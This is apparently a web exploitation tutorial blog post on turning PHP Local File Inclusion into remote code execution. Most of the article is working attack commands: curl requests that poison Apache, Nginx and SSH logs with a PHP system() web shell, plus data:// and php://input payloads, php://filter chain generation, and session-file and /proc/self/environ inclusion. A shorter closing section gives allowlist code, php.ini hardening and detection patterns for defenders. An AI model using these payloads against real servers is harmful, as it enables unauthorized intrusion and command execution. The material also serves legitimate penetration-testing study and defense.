From LFI to RCE: Practical Escalation Techniques

Web Exploitation
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction

A Local File Inclusion (LFI) bug lets an attacker control the path passed to a PHP file-inclusion function (include, require, include_once, require_once). On its own, LFI is "read primitive": you can leak /etc/passwd, configuration files, or source code. The interesting question for an offensive engineer is how to escalate that read primitive into remote code execution (RCE).

This post walks through the five most reliable LFI-to-RCE pivots you will encounter on real engagements:

  1. Log poisoning (Apache/Nginx access logs, SSH, mail)
  2. php://filter for source disclosure and the convert.iconv/zlib RCE chain
  3. The data:// wrapper for direct payload injection
  4. PHP session files (/var/lib/php/sessions)
  5. /proc/self/environ and /proc/self/fd

If you also have file-upload functionality, pair this with techniques from File Upload Bypass Techniques and the parameter-smuggling tricks in PHP Type Juggling.

How It Works

A vulnerable endpoint typically looks like this:

<?php
// page.php
$page = $_GET['page'];
include($page . ".php");
PHP

The trailing .php is the classic obstacle. Modern PHP (≥ 5.3) ignores null bytes, so %00 truncation no longer works. Instead we rely on PHP stream wrappers and server-controlled files whose contents we can influence. The goal is always the same: make include parse attacker-controlled PHP source.

Prerequisites / Lab Setup

A minimal vulnerable lab with Docker:

mkdir lfi-lab && cd lfi-lab
cat > index.php <<'EOF'
<?php include($_GET['page'].".php"); ?>
EOF
docker run --rm -p 8080:80 -v "$PWD":/var/www/html php:8.2-apache
Bash

Confirm the read primitive first. The php://filter wrapper is the cleanest test because it never depends on a .php suffix on the target:

# Base64-encode the source so binary/PHP tags survive transport
curl 'http://target/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd%00'
# In modern PHP drop the %00 and use a resource without expecting .php:
curl 'http://target/index.php?page=php://filter/convert.base64-encode/resource=config'
Bash

Attack Walkthrough

1. Log Poisoning (Apache / Nginx)

The most portable technique. We inject PHP into a log file the server writes, then include that log. The User-Agent header is the usual injection point because it is logged verbatim.

# Step 1: poison the access log with a PHP payload
curl 'http://target/' -A "<?php system(\$_GET['c']); ?>"

# Step 2: include the access log and pass a command
curl 'http://target/index.php?page=/var/log/apache2/access.log&c=id'
Bash

Common log paths to try:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/httpd/access_log
/var/log/auth.log        # poison via: ssh '<?php system($_GET[c]);?>'@target
/var/log/mail.log        # poison via SMTP RCPT TO
Plaintext

For SSH-based auth-log poisoning, the username is logged on a failed login:

ssh '<?php system($_GET["c"]); ?>'@target
# Then: ?page=/var/log/auth.log&c=id
Bash

2. The data:// Wrapper

If allow_url_include = On (off by default, but common on legacy or misconfigured hosts), the data:// wrapper inlines the payload — no file to poison:

# Plain
curl 'http://target/index.php?page=data://text/plain,<?php system("id");?>'

# Base64 (survives WAFs and URL-encoding better)
PAYLOAD=$(echo -n '<?php system($_GET["c"]); ?>' | base64)
curl "http://target/index.php?page=data://text/plain;base64,$PAYLOAD&c=id"
Bash

The php://input wrapper is the POST-body equivalent and also requires allow_url_include:

curl -X POST 'http://target/index.php?page=php://input' \
  --data '<?php system("id"); ?>'
Bash

3. php://filter Chain (No Upload Needed)

When allow_url_include is off and no log is reachable, the filter chain technique (Synacktiv, 2022) builds an arbitrary payload byte-by-byte using convert.iconv encodings, requiring only a single LFI with no file write. Tools automate it:

# Gabriel Caillault / Synacktiv generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Output: php://filter/convert.iconv.UTF8.CSISO2022KR|...|resource=php://temp
curl 'http://target/index.php?page=<GENERATED_CHAIN>&c=id'
Bash

4. PHP Session Files

If you can put controlled data into a $_SESSION variable (e.g. a username field that gets stored), the serialized session file on disk becomes includable:

# Session files live here (PHPSESSID = your cookie value)
/var/lib/php/sessions/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>

# 1. Make the app store '<?php system($_GET[c]);?>' into a session var
# 2. Include the session file:
curl -b 'PHPSESSID=abc123' \
  'http://target/index.php?page=/var/lib/php/sessions/sess_abc123&c=id'
Bash

5. /proc/self/environ and /proc/self/fd

On older PHP-CGI setups, the request's User-Agent lands in the process environment:

curl 'http://target/index.php?page=/proc/self/environ' -A '<?php system($_GET["c"]);?>'
Bash

/proc/self/fd/N exposes open file descriptors — sometimes the access log or an uploaded temp file is reachable there when its real path is unknown:

for i in $(seq 0 30); do
  curl -s "http://target/index.php?page=/proc/self/fd/$i&c=id" | grep -q uid && echo "FD $i hit"
done
Bash

Attack Flow Diagram

From LFI to RCE: Practical Escalation Techniques diagram 1

The diagram shows the decision tree: depending on PHP configuration and reachable write targets, an attacker picks data wrappers, log poisoning, session files, or a filter chain to reach RCE.

Detection & Defense (Blue Team)

Defending against LFI-to-RCE requires controls at the code, configuration, and monitoring layers.

1. Code-level fixes (primary control)

  • Never pass user input directly to include/require. Use an allowlist map:
$routes = ['home' => 'home.php', 'about' => 'about.php'];
include($routes[$_GET['page']] ?? '404.php');
PHP
  • If a path must be dynamic, call basename() and realpath() and verify the result is inside an expected base directory.

2. PHP hardening (php.ini)

allow_url_include = Off
allow_url_fopen   = Off
open_basedir = /var/www/html:/tmp
disable_functions = system,exec,shell_exec,passthru,popen,proc_open
session.save_path = /var/lib/php/sessions   ; restrictive perms, separate mount
INI

open_basedir is the single highest-impact mitigation: it stops inclusion of /var/log/..., /proc/..., and /etc/passwd outright.

3. Detection / monitoring

  • Alert on log entries containing <?php, <?=, or system( inside User-Agent, referer, or username fields — this is the signature of log poisoning.
  • Watch web access logs for php://filter, php://input, data://, /proc/self/, and sess_ in query strings. A WAF (ModSecurity CRS rule families 930xxx — LFI; 933xxx — PHP injection) catches most of these.
  • File Integrity Monitoring on /var/lib/php/sessions and unexpected execution of PHP from log directories.

This maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and T1059 (Command and Scripting Interpreter). For broader hardening guidance see Web Server Hardening Checklist.

Conclusion

LFI is rarely "just" a file read. With control of any server-written file — logs, sessions, process memory — or with a permissive PHP configuration, it escalates to full RCE. On the offensive side, work the decision tree: try the cheap php://filter source read first, then data wrappers, then log/session poisoning, and fall back to the php://filter chain when nothing is writable. On the defensive side, an allowlist plus allow_url_include = Off and open_basedir neutralizes nearly every path discussed here.

References

Comments

Copied title and URL